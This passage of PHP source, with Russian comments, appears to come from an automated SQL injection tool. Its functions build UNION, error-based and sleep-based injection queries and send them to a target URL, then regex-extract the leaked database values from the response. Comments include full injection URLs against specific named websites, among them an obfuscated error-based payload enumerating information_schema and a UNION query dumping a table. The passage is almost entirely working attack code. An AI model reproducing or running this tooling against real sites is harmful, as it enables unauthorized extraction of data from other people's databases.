$this-\u003edesc_enable == true)\n\t\t\t{\t\n\t\t\t\t$order2 = 'ORDER+by+id+DESC';\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t \n\t\t //подставляем колонки\n\t\t for($col=1;$col\u003c=$this-\u003ecolumn;$col++)\n\t\t\t{\n\t\t\t\tif($col==1){$zap='';}else{$zap=',';}//запятая\n\t\t\t\n\t\t\t\tif(in_array($col, $this-\u003ework) AND $give==0)\n\t\t\t\t{\n\n\t\t\t\t\t$p = $col-1;\n\n\t\t\t\t\t$give++;\n\t\t\t\t\t\n\t\t\t\t\t//$query .= $zap.\"CONCAT(CHAR(\".$this-\u003echarcher('ddd').\"),$zapr)\";\n\t\t\t\t\t\n\t\t\t\t\t$hh = $this-\u003estrtohex('[ddd]');\n\t\t\t\t\t\n\t\t\t\t\t$query .= $zap.\"(select+CONCAT($hh,$zapr,$hh)\".'+'.$from.'+'.$where.'+'.$order2.'+limit+'.$limit.')';\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t}else\n\t\t\t\t{\n\t\t\t\t\t\t\n\t\t\t\t\tif($order!==array() AND count($pole)\u003e1)\n\t\t\t\t\t{\n\t\t\t\t\t\t$query .= $zap.\"\".$order[0];\n\t\t\t\t\t}else\n\t\t\t\t\t{\n\t\t\t\t\t\t$query .= $zap.$col;\t\n\t\t\t\t\t}\n\t\t\t\t}\t\n\t\t\t}\n\t\t\t\n\t\t\t\t\n\t\t\t\tif($this-\u003edebug==true){$this-\u003ed($query,'$query mysqlGetValueHEX');}\n\t\t\t\t#exit;\n\t\n\t\t\t\n\t\t\t\n\t\t\t\t//$url1 = $this-\u003eurl.$query.'+'.$from.'+'.$where.'+'.$order.'+limit+'.$limit.''.$k;\n\t\t\t\t$url1 = $this-\u003eurl.$query.''.$k;\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t$url1 = str_replace(',,', ',',$url1);\n\t\t\t\t$url1 = str_replace('++++', '+',$url1);\n\t\t\t\t$url1 = str_replace('+++', '+',$url1);\n\t\t\t\t$url1 = str_replace('++', '+',$url1);\n\t\t\t\t\n\t\t\t\t//if($this-\u003edebug==true){$this-\u003ed($url1,'$url1 полный mysqlGetValue CLEAN HEX');}\n\t\t\t\t\n\t\t\t\t//exit;\n\t\t\t\t\n\t\t\t\t$file = $this-\u003egetContents($url1);\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tif($this-\u003ehead_enable==true){\n\t\t\t\t\t\n\t\t\t\t\tfile_put_contents('./file_head.txt',$file);\n\t\t\t\t}else{\n\t\t\t\t\tfile_put_contents('./file_hex.txt',$file);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t//$this-\u003ed($file,'file');\n\t\t\t\t//exit;\n\t\t\t\t\n\t\t\t\t//ищем результаты\t\n\t\t\t\tif(count($pole)==1) //если он один предполагается\n\t\t\t\t{\n\t\t \t\t\n\t\t\t\t\t//preg_match_all(\"/\\[X\\](.*?)\\[XX\\]/is\",$file,$arr);\n\t\t\t\t\t\n\t\t\t\t\tpreg_match_all(\"|\\[ddd\\](.*?)\\[ddd\\]|i\",$file,$arr);\n\t\t\t\t\t//preg_match(\"|\\[ddd\\](.*?)\\[ddd\\]|i\",$file,$arr);\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t//$this-\u003ed($arr,'arr ONE POLE HEX');\n\t\t\t\t\t\n\t\t\t\t\t//if(strlen($arr[1][0])\u003e500)return false;\t\n\n\t\t\t\t\tif(isset($arr[1][0]))return array($pole[0]=\u003e$arr[1][0]);\n\t\t\t\t\t\n\t\t\t\t\treturn false;\n\t\t \t\t\n\t\t\t\t}else//если не сколько полей было\n\t\t\t\t{\n\t\t \t\t\t\t\n\t\t\t\t\t\n\t\t\t \t\n\t\t\t\t\t\t//preg_match_all(\"~\\[{$val}\\](.*?)\\[{$val}\\]~iS\",$file,$arr);\n\t\t\t\t\t\t\n\t\t\t\t\t\tpreg_match_all(\"|\\[ddd\\](.*?)\\[ddd\\]|i\",$file,$arr);\n\t\t\t\t\t\t//preg_match(\"|\\[ddd\\](.*?)\\[ddd\\]|i\",$file,$arr);\n\t\t\t\t\t\t\n\t\t\t\t\t\t//preg_match_all(\"~\\^(.*?)\\^~is\",$arr22[0],$arr);\n\t\t\t\t\t\t\n\t\t\t\t\t\t//$this-\u003ed(\"~\\[{$val}\\](.*?)\\[{$val}\\]~iS\",'reg ALL');\n\t\t\t\t\t\t\n\t\t\t\t\t\t//$this-\u003ed($arr,'arrA_LLL POLE HEX');\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t$j=1;\n\t\t\t\t\t\n\t\t\t\t\tforeach ($pole as $val)\n\t\t\t\t\t{\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t//if(strlen($arr[1][0])\u003e500)return false;\t\n\t\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t\tif(isset($arr[1][0]))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$arr[1][0] = str_replace('^^','^',$arr[1][0]);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$b = explode('^',$arr[1][0]);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$b_bew = array_filter($b, function($element) {\n\t\t\t\t\t\t\t\treturn !empty($element);\n\t\t\t\t\t\t\t});\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t//$this-\u003ed($b,'b');\n\t\t\t\t\t\t\t//$this-\u003ed($b_bew,'b_new');\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$export[$val] = $b[$j];\n\t\t\t\t\t\t}else\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$export[$val] = '';\n\t\t\t\t\t\n\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\t$j++;\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tif(isset($export))\n\t\t\t{\t\n\t\t\t\treturn $export;\n\t\t\t}\n\t\t\t\n\t\t\treturn false;\n\n\t}\n\t\n\tfunction mysqlGetValueCHAR($bd,$table,$pole,$limit=0,$order=array(),$where=''){//общая функция для MYSQL через CHAR старая\n\t\t\n\t\t//$this-\u003ed($this-\u003eurl,'$this-\u003eurl');\n\t\t\n\t\t//$this-\u003ed('tochka: mysqlGetValue NACHALO');\n\t\t\n\t\t//$this-\u003ed($pole,'$table');\n\t\t\n\t\t//exit;\n\t\t\n\t\n\t\t\n\t\t\n\t\tif($this-\u003emethod==10)\n\t\t{\n\t\t\t//$this-\u003ed('tochka: method==10 SLEEP mysqlGetValueSleep');\n\t\t\t$get = $this-\u003emysqlGetValueSleep($bd,$table,$pole,$limit,$order,$where);\n\t\t\tif($get!==false)return $get;\n\t\t\treturn false;\n\n\t\t}\n\t\n\t\tif($this-\u003emethod==6)\n\t\t{\n\t\t\t//$this-\u003ed('tochka: method==6 mysqGetValueByErrorNewW');\n\t\t\t$get = $this-\u003emysqGetValueByErrorNew($bd,$table,$pole,$limit,$order,$where);;\n\t\t\tif($get!==false)return $get;\n\t\t\treturn false;\n\n\t\t}\t\n\t\n\t\tif($this-\u003emethod==5)\n\t\t{\n\n\t\t\t//$this-\u003ed('tochka: method==5 mysqlGetByOrder');\n\t\t\t$get = $this-\u003emysqlGetByOrder($bd,$table,$pole,$limit,$order,$where);\n\t\t\tif($get!==false)return $get;\n\t\t\treturn false;\n\n\t\t}\n\t\t\n\t\tif($this-\u003emethod==4)\n\t\t{\n\t\t\t//$this-\u003ed('tochka: method==4 mysqGetValueByError');\n\t\t\t$get = $this-\u003emysqGetValueByError($bd,$table,$pole,$limit,$order,$where);;\n\t\t\tif($get!==false)return $get;\n\t\t\treturn false;\n\n\t\t}\n\t\t\n\t\t\n\t\t//$this-\u003ed('method po umolchaniy');\n\t\t\n\t\tif($table!=='')\n\t\t{\n\t\t\t\n\t\t\tif($bd==''){\n\t\t\t\t$from = 'FROM+'.$table.'';\n\t\t\t}else{\n\t\t\t\t$from = 'FROM+'.$bd.'.'.$table.'';\n\t\t\t}\n\t\t}else{\n\t\t\t$from = '';\n\t\t}\n\t\t\n\t\t\n\t\t$bd =    str_replace(' ', '+',$bd);\n\t\t$table = str_replace(' ', '+',$table);\n\t\t$from =  str_replace(' ', '+',$from);\n\t\t$where = str_replace(' ', '+',$where);\n\t\t$order = str_replace(' ', '+',$order);\n\t\t\n\t\t\n\t\t$method = $this-\u003esposob;\n\t\t\n\t\t//$this-\u003ed($method,'$method = $this-\u003esposob');\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t//начало лимита\n\t\t$limit = $limit.',1';\n\t\t\t\t\t\t\t\n\t\t$n = $this-\u003evariant_query[$this-\u003esposob][$this-\u003emethod][0];//начало запроса\n\t\t$k = $this-\u003evariant_query[$this-\u003esposob][$this-\u003emethod][1];//конец  запроса\n\t\t\n\t\t//$this-\u003ed($n,'начало запроса');\n\t\t//$this-\u003ed($k,'конец  запроса');\n\t\t\n\t\t//$this-\u003ed($this-\u003ecolumn,'$this-\u003ecolumn');\n\t\t//$this-\u003ed($this-\u003ework,'$this-\u003ework');\n\t\t\n\t\n\t\t$query = \"1111111111111$n\";//начальный запрос для НЕ sleep\n\t\t\n\t\t\t\n\t\n\t\tif(!is_array($pole))$pole = array($pole);//это как раз наш запрос version к примеру\n\t\t\n\t\t$zapr = '';//общая строка для наших полей\n\t\t \n\t\t//обволакиваем его спец символами, чтобы патом найти можно было бы\n\t\tforeach ($pole as $key=\u003e$val)\n\t\t{\n\t  \t\n\t\t \tif(count($pole)==1)\n\t\t\t{\n\t\t\t\t//если одно поле\n\t\t \t\t$zapr .= 'CHAR('.$this-\u003echarcher('[X]').')'.','.$val.',CHAR('.$this-\u003echarcher('[XX]').')';\n\t\t\t\t\n\t\t\t\t//$zapr .= 'IFNULL(CHAR('.$this-\u003echarcher('[X]').')'.','.$val.',CHAR('.$this-\u003echarcher('[XX]').'),0x20)';\n\t\t\t\t\n\t\t \t}else\n\t\t\t{\n\t\t\t\t//если несколько найти надо\n\t\t \t\t$zapr .= ',CHAR('.$this-\u003echarcher('['.$val.']').')'.','.$val.',CHAR('.$this-\u003echarcher('['.$val.']').')';\n\t\t\t\t\n\t\t\t\t//$zapr .= \"0x5e,IFNULL(unhex(Hex(cast($val as char))),0x20),0x5e,\";\n\t\t \t}\n\t  \t\n\t\t}\n\t\t\n\t\t//$this-\u003ed($zapr,'final $zapr');\n\t  \n\t\t//http://evilgamerz.com/downloads/index.php?zoekstring=\u0026sortway=title\u0026sort=f' and(/**/sElEcT 1 /**/fRoM(/**/sElEcT count(*),/**/cOnCaT((/**/sElEcT(/**/sElEcT(/**/sElEcT /**/cOnCaT(0x217e21,count(0),0x217e21) /**/fRoM information_schema./**/tAbLeS /**/wHeRe /**/tAbLe_sChEmA=0x6576696c67616d65727a5f636f6d5f2d5f646233)) /**/fRoM information_schema./**/tAbLeS /**/lImIt 0,1),floor(rand(0)*2))x /**/fRoM information_schema./**/tAbLeS /**/gRoUp/**/bY x)a) and '1'='1\u0026page=20\n\t\t\n\t\t $work_count = count($this-\u003ework);//рабочие поля где вывод есть\n\t\t\n\t\t $new = array(); // Что на выходе\n\n\t\t $give = 0;\n\t\t \n\t\t \n\t\t if($order!==array() AND count($pole)\u003e1)\n\t\t\t{\n\t\t\t\t$order2 = '+order+by+`'.$order[0].'`+'.$order[1].'+';\n\t\t\t}else\n\t\t\t{\n\t\t\t\t$order2 = '';\n\t\t\t}\n\t\t \n\t\t \n\t\t\tif($this-\u003edesc ==0 AND $this-\u003edesc_enable == true)\n\t\t\t{\n\t\t\t\t$order2 = 'ORDER+by+id+DESC';\n\t\t\t\t//запрос целиком\n\t\t\t}\n\t\t \n\t\t //подставляем колонки\n\t\t for($col=1;$col\u003c=$this-\u003ecolumn;$col++)\n\t\t\t{\n\t\t\t\tif($col==1){$zap='';}else{$zap=',';}//запятая\n\t\t\t\n\t\t\t\tif(in_array($col, $this-\u003ework) AND $give==0)\n\t\t\t\t{\n\n\t\t\t\t\t$p = $col-1;\n\n\t\t\t\t\t$give++;\n\t\t\t\t\t\n\t\t\t\t\t$query .= $zap.\"(select+CONCAT(CHAR(\".$this-\u003echarcher('ddd').\"),$zapr)\".'+'.$from.'+'.$where.'+'.$order2.'+limit+'.$limit.\" )\";\n\t\t\t\t\t\n\t\t\t\t\t//$query .= $zap.\"(select+CONCAT(CHAR(\".$this-\u003echarcher('ddd').\"),$zapr)\".'+'.$from.'+'.$where.'+'.$order2.'+limit+'.$limit.\" )\";\n\t\t\t\t\t\n\t\t\t\t}else\n\t\t\t\t{\n\t\t\t\t\t\t\n\t\t\t\t\tif($order!==array() AND count($pole)\u003e1)\n\t\t\t\t\t{\n\t\t\t\t\t\t$query .= $zap.\"\".$order[0];\n\t\t\t\t\t}else\n\t\t\t\t\t{\n\t\t\t\t\t\t$query .= $zap.$col;\t\n\t\t\t\t\t}\n\t\t\t\t}\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\n\t\t\t\tif($this-\u003edebug==true){$this-\u003ed($query,'$query mysqlGetValueCHAR');}\n\t\t\t\t//exit;\n\t\t\t\n\t\t\t\n\t\t\t\t//$url1 = $this-\u003eurl.$query.'+'.$from.'+'.$where.'+'.$order.'+limit+'.$limit.''.$k;\t\n\t\t\t\t$url1 = $this-\u003eurl.$query.''.$k;\t\t\n\n\t\t\t\t$url1 = str_replace(',,', ',',$url1);\n\t\t\t\t$url1 = str_replace('++++', '+',$url1);\n\t\t\t\t$url1 = str_replace('+++', '+',$url1);\n\t\t\t\t$url1 = str_replace('++', '+',$url1);\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t//if($this-\u003edebug==true){$this-\u003ed($url1,'$url1 полный mysqlGetValueCHAR');}\n\t\t\t\t//exit;\n\t\t\t\t$file = $this-\u003egetContents($url1);\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tif($this-\u003ehead_enable==true){\n\t\t\t\t\t\n\t\t\t\t\tfile_put_contents('./file_head.txt',$file);\n\t\t\t\t}else{\n\t\t\t\t\t\n\t\t\t\t\tfile_put_contents('./file.txt',$file);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t//$this-\u003ed($file,'file');\n\t\t\t\t//exit;\n\t\t\t\t\n\t\t\t\t//ищем результаты\t\n\t\t\t\tif(count($pole)==1) //если он один предполагается\n\t\t\t\t{\n\t\t \t\t\n\t\t\t\t\tpreg_match_all(\"|\\[X\\](.*?)\\[XX\\]|i\",$file,$arr);\n\t\t\t\t\t\n\t\t\t\t\t//if(strlen($arr[1][0])\u003e500)return false;\t\n\t\t\t\t\t//if($this-\u003edebug==true){$this-\u003ed($arr,'arr ONE POLE CHAR');}\n\t\t\t\t\t\n\t\t\t\t\t\n\n\t\t\t\t\tif(isset($arr[1][0]))return array($pole[0]=\u003e$arr[1][0]);\n\t\t\t\t\t\n\t\t\t\t\treturn false;\n\t\t \t\t\n\t\t\t\t}else//если не сколько полей было\n\t\t\t\t{\n\t\t \t\t\t\t\n\t\t\t\t\tforeach ($pole as $val)\n\t\t\t\t\t{\n\t\t\t \t\n\t\t\t\t\t\t//preg_match_all(\"|\\[{$val}\\](.*?)\\[{$val}\\]/iS\",$file,$arr);\n\t\t\t\t\t\tpreg_match_all(\"|\\[{$val}\\](.*?)\\[{$val}\\]|i\",$file,$arr);\n\t\t\t\t\t\t//if(strlen($arr[1][0])\u003e500)return false;\t\n\t\t\t\t\t\t//$this-\u003ed(\"~\\[{$val}\\](.*?)\\[{$val}\\]~iS\",'reg ALL');\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t//if($this-\u003edebug==true){$this-\u003ed($arr,'arr ONE ALL POLES CHAR');}\n\t\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t\tif(isset($arr[1][0]))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$export[$val] = $arr[1][0];\n\t\t\t\t\t\t}else\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$export[$val] = '';\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\n\t\t//\t$this-\u003ed($export,'$export');\n\t\t\t//exit;\n\t\t\t\n\t\t\tif(isset($export))\n\t\t\t{\t\n\t\t\t\treturn $export;\n\t\t\t}\n\t\t\t\n\t\t\treturn false;\n\n\t}\n\n\tfunction mysqlGetValueIFNULL($bd,$table,$pole,$limit=0,$order=array(),$where=''){//общая функция для MYSQL \n\t\t\n\t\t//$this-\u003ed($this-\u003eurl,'$this-\u003eurl');\n\t\t\n\t\t//$this-\u003ed('tochka: mysqlGetValue NACHALO');\n\t\t\n\t\t//$this-\u003ed($pole,'$table');\n\t\t\n\t\t//exit;\n\t\t\n\t\n\t\t\n\t\t\n\t\tif($this-\u003emethod==10)\n\t\t{\n\t\t\t//$this-\u003ed('tochka: method==10 SLEEP mysqlGetValueSleep');\n\t\t\t$get = $this-\u003emysqlGetValueSleep($bd,$table,$pole,$limit,$order,$where);\n\t\t\tif($get!==false)return $get;\n\t\t\treturn false;\n\n\t\t}\n\t\n\t\tif($this-\u003emethod==6)\n\t\t{\n\t\t\t//$this-\u003ed('tochka: method==6 mysqGetValueByErrorNewW');\n\t\t\t$get = $this-\u003emysqGetValueByErrorNew($bd,$table,$pole,$limit,$order,$where);;\n\t\t\tif($get!==false)return $get;\n\t\t\treturn false;\n\n\t\t}\t\n\t\n\t\tif($this-\u003emethod==5)\n\t\t{\n\n\t\t\t//$this-\u003ed('tochka: method==5 mysqlGetByOrder');\n\t\t\t$get = $this-\u003emysqlGetByOrder($bd,$table,$pole,$limit,$order,$where);\n\t\t\tif($get!==false)return $get;\n\t\t\treturn false;\n\n\t\t}\n\t\t\n\t\tif($this-\u003emethod==4)\n\t\t{\n\t\t\t//$this-\u003ed('tochka: method==4 mysqGetValueByError');\n\t\t\t$get = $this-\u003emysqGetValueByError($bd,$table,$pole,$limit,$order,$where);;\n\t\t\tif($get!==false)return $get;\n\t\t\treturn false;\n\n\t\t}\n\t\t\n\t\t\n\t\t//$this-\u003ed('method po umolchaniy');\n\t\t\n\t\tif($table!=='')\n\t\t{\n\t\t\t\n\t\t\tif($bd==''){\n\t\t\t\t$from = 'FROM+'.$table.'';\n\t\t\t}else{\n\t\t\t\t$from = 'FROM+'.$bd.'.'.$table.'';\n\t\t\t}\n\t\t}else{\n\t\t\t$from = '';\n\t\t}\n\t\t\n\t\t\n\t\t$bd =    str_replace(' ', '+',$bd);\n\t\t$table = str_replace(' ', '+',$table);\n\t\t$from =  str_replace(' ', '+',$from);\n\t\t$where = str_replace(' ', '+',$where);\n\t\t$order = str_replace(' ', '+',$order);\n\t\t\n\t\t\n\t\t$method = $this-\u003esposob;\n\t\t\n\t\t//$this-\u003ed($method,'$method = $this-\u003esposob');\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t//начало лимита\n\t\t$limit = $limit.',1';\n\t\t\t\t\t\t\t\n\t\t$n = $this-\u003evariant_query[$this-\u003esposob][$this-\u003emethod][0];//начало запроса\n\t\t$k = $this-\u003evariant_query[$this-\u003esposob][$this-\u003emethod][1];//конец  запроса\n\t\t\n\t\t//$this-\u003ed($n,'начало запроса');\n\t\t//$this-\u003ed($k,'конец  запроса');\n\t\t\n\t\t//$this-\u003ed($this-\u003ecolumn,'$this-\u003ecolumn');\n\t\t//$this-\u003ed($this-\u003ework,'$this-\u003ework');\n\t\t\n\t\n\t\t$query = \"1111111111111$n\";//начальный запрос для НЕ sleep\n\t\t\n\t\t\t\n\t\n\t\tif(!is_array($pole))$pole = array($pole);//это как раз наш запрос version к примеру\n\t\t\n\t\t$zapr = '';//общая строка для наших полей\n\t\t \n\t\t//обволакиваем его спец символами, чтобы патом найти можно было бы\n\t\tforeach ($pole as $key=\u003e$val)\n\t\t{\n\t  \t\n\t\t \tif(count($pole)==1)\n\t\t\t{\n\t\t\t\t//если одно поле\n\t\t \t\t//$zapr .= 'CHAR('.$this-\u003echarcher('[X]').')'.','.$val.',CHAR('.$this-\u003echarcher('[XX]').')';\n\t\t\t\t//\t$zapr .= \"IFNULL(unhex(Hex(cast($val as char))),0x20)\";\n\t\t\t\t$zapr .= \"IFNULL(cast($val as char),0x20)\";\n\t\t\t\t\n\t\t \t\t\n\t\t \t}else\n\t\t\t{\n\t\t\t\t//если несколько найти надо\n\t\t\t\t//$zapr .= ',CHAR('.$this-\u003echarcher('['.$val.']').')'.','.$val.',CHAR('.$this-\u003echarcher('['.$val.']').')';\n\t\t\t\t\n\t\t\t\t$zapr .= \"0x5e,IFNULL(cast($val as char),0x20),0x5e,\";\n\t\t \t}\n\t  \t\n\t\t}\n\t\t\n\t\t//$this-\u003ed($zapr,'final $zapr');\n\t  \n\t\t////http://kinoklubnichka.ru/news_view.php?news_id=2 UNION ALL SELECT (SELECT CONCAT('qvkqq',IFNULL(CAST(ACTIVE AS CHAR),' '),'jzarqt',IFNULL(CAST(AGENT_INTERVAL AS CHAR),' '),'jzarqt',IFNULL(CAST(DATE_CHECK AS CHAR),' '),'jzarqt',IFNULL(CAST(ID AS CHAR),' '),'jzarqt',IFNULL(CAST(IS_PERIOD AS CHAR),' '),'jzarqt',IFNULL(CAST(LAST_EXEC AS CHAR),' '),'jzarqt',IFNULL(CAST(MODULE_ID AS CHAR),' '),'jzarqt',IFNULL(CAST(NAME AS CHAR),' '),'jzarqt',IFNULL(CAST(NEXT_EXEC AS CHAR),' '),'jzarqt',IFNULL(CAST(SORT AS CHAR),' '),'jzarqt',IFNULL(CAST(USER_ID AS CHAR),' '),'qjzzq') FROM u35491_2.b_agent LIMIT 2,1)-- -\n\t\n\t  \n\t  \n\t\t//http://evilgamerz.com/downloads/index.php?zoekstring=\u0026sortway=title\u0026sort=f' and(/**/sElEcT 1 /**/fRoM(/**/sElEcT count(*),/**/cOnCaT((/**/sElEcT(/**/sElEcT(/**/sElEcT /**/cOnCaT(0x217e21,count(0),0x217e21) /**/fRoM information_schema./**/tAbLeS /**/wHeRe /**/tAbLe_sChEmA=0x6576696c67616d65727a5f636f6d5f2d5f646233)) /**/fRoM information_schema./**/tAbLeS /**/lImIt 0,1),floor(rand(0)*2))x /**/fRoM information_schema./**/tAbLeS /**/gRoUp/**/bY x)a) and '1'='1\u0026page=20\n\t\t\n\t\t $work_count = count($this-\u003ework);//рабочие поля где вывод есть\n\t\t\n\t\t $new = array(); // Что на выходе\n\n\t\t $give = 0;\n\t\t \n\t\t \n\t\t if($order!==array() AND count($pole)\u003e1)\n\t\t\t{\n\t\t\t\t$order2 = '+order+by+`'.$order[0].'`+'.$order[1].'+';\n\t\t\t}else\n\t\t\t{\n\t\t\t\t$order2 = '';\n\t\t\t}\n\t\t \n\t\t \n\t\t\tif($this-\u003edesc ==0 AND $this-\u003edesc_enable == true)\n\t\t\t{\n\t\t\t\t$order2 = 'ORDER+by+id+DESC';\n\t\t\t\t//запрос целиком\n\t\t\t}\n\t\t \n\t\t //подставляем колонки\n\t\t for($col=1;$col\u003c=$this-\u003ecolumn;$col++)\n\t\t\t{\n\t\t\t\tif($col==1){$zap='';}else{$zap=',';}//запятая\n\t\t\t\n\t\t\t\tif(in_array($col, $this-\u003ework) AND $give==0)\n\t\t\t\t{\n\n\t\t\t\t\t$p = $col-1;\n\n\t\t\t\t\t$give++;\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t$hh = $this-\u003estrtohex('[ddd]');\n\t\t\t\t\t\n\t\t\t\t\t$query .= $zap.\"(select+CONCAT($hh,$zapr,$hh)\".'+'.$from.'+'.$where.'+'.$order2.'+limit+'.$limit.')';\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t}else\n\t\t\t\t{\n\t\t\t\t\t\t\n\t\t\t\t\tif($order!==array() AND count($pole)\u003e1)\n\t\t\t\t\t{\n\t\t\t\t\t\t$query .= $zap.\"\".$order[0];\n\t\t\t\t\t}else\n\t\t\t\t\t{\n\t\t\t\t\t\t$query .= $zap.$col;\t\n\t\t\t\t\t}\n\t\t\t\t}\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t//$query .= $zap.\"(select+CONCAT(CHAR(\".$this-\u003echarcher('ddd').\"),$zapr)\".'+'.$from.'+'.$where.'+'.$order2.'+limit+'.$limit.\" )\";\n\t\t\t\t\t\n\t\t\t\t\t//$query .= $zap.\"(select+CONCAT(CHAR(\".$this-\u003echarcher('ddd').\"),$zapr)\".'+'.$from.'+'.$where.'+'.$order2.'+limit+'.$limit.\" )\";\n\t\t\t\t\t\n\t\t\t\t//}else\n\t\t\t\t//{\n\t\t\t\t\t\t\n\t\t\t\t\t//if($order!==array() AND count($pole)\u003e1)\n\t\t\t\t\t//{\n\t\t\t\t\t//\t$query .= $zap.\"\".$order[0];\n\t\t\t\t\t//}else\n\t\t\t\t\t//{\n\t\t\t\t\t\t//$query .= $zap.$col;\t\n\t\t\t\t\t//}\n\t\t\t\t//}\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\n\t\t\t\tif($this-\u003edebug==true){$this-\u003ed($query,'$query mysqlGetValueISNULL');}\n\t\t\t\t//exit;\n\t\t\t\n\t\t\t\n\t\t\t\t//$url1 = $this-\u003eurl.$query.'+'.$from.'+'.$where.'+'.$order.'+limit+'.$limit.''.$k;\t\n\t\t\t\t$url1 = $this-\u003eurl.$query.''.$k;\t\t\n\n\t\t\t\t$url1 = str_replace(',,', ',',$url1);\n\t\t\t\t$url1 = str_replace('++++', '+',$url1);\n\t\t\t\t$url1 = str_replace('+++', '+',$url1);\n\t\t\t\t$url1 = str_replace('++', '+',$url1);\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t//if($this-\u003edebug==true){$this-\u003ed($url1,'$url1 полный mysqlGetValueCHAR');}\n\t\t\t\t//exit;\n\t\t\t\t$file = $this-\u003egetContents($url1);\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tif($this-\u003ehead_enable==true){\n\t\t\t\t\t\n\t\t\t\t\tfile_put_contents('./file_head.txt',$file);\n\t\t\t\t}else{\n\t\t\t\t\t\n\t\t\t\t\tfile_put_contents('./file.txt',$file);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t//$this-\u003ed($file,'file');\n\t\t\t\t//exit;\n\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t//ищем результаты\t\n\t\t\t\tif(count($pole)==1) //если он один предполагается\n\t\t\t\t{\n\t\t \t\t\n\t\t\t\t\t//preg_match_all(\"/\\[X\\](.*?)\\[XX\\]/is\",$file,$arr);\n\t\t\t\t\t\n\t\t\t\t\tpreg_match_all(\"|\\[ddd\\](.*?)\\[ddd\\]|i\",$file,$arr);\n\t\t\t\t\t//preg_match(\"|\\[ddd\\](.*?)\\[ddd\\]|i\",$file,$arr);\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t//$this-\u003ed($arr,'arr ONE POLE HEX');\n\t\t\t\t\t\n\t\t\t\t\t//if(strlen($arr[1][0])\u003e500)return false;\t\n\n\t\t\t\t\tif(isset($arr[1][0]))return array($pole[0]=\u003e$arr[1][0]);\n\t\t\t\t\t\n\t\t\t\t\treturn false;\n\t\t \t\t\n\t\t\t\t}else//если не сколько полей было\n\t\t\t\t{\n\t\t \t\t\t\t\n\t\t\t\t\t\n\t\t\t \t\n\t\t\t\t\t\t//preg_match_all(\"~\\[{$val}\\](.*?)\\[{$val}\\]~iS\",$file,$arr);\n\t\t\t\t\t\t\n\t\t\t\t\t\tpreg_match_all(\"|\\[ddd\\](.*?)\\[ddd\\]|i\",$file,$arr);\n\t\t\t\t\t\t//preg_match(\"|\\[ddd\\](.*?)\\[ddd\\]|i\",$file,$arr);\n\t\t\t\t\t\t\n\t\t\t\t\t\t//preg_match_all(\"~\\^(.*?)\\^~is\",$arr22[0],$arr);\n\t\t\t\t\t\t\n\t\t\t\t\t\t//$this-\u003ed(\"~\\[{$val}\\](.*?)\\[{$val}\\]~iS\",'reg ALL');\n\t\t\t\t\t\t\n\t\t\t\t\t\t//$this-\u003ed($arr,'arrA_LLL POLE HEX');\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t$j=1;\n\t\t\t\t\t\n\t\t\t\t\tforeach ($pole as $val)\n\t\t\t\t\t{\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t//if(strlen($arr[1][0])\u003e500)return false;\t\n\t\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t\tif(isset($arr[1][0]))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$arr[1][0] = str_replace('^^','^',$arr[1][0]);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$b = explode('^',$arr[1][0]);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$b_bew = array_filter($b, function($element) {\n\t\t\t\t\t\t\t\treturn 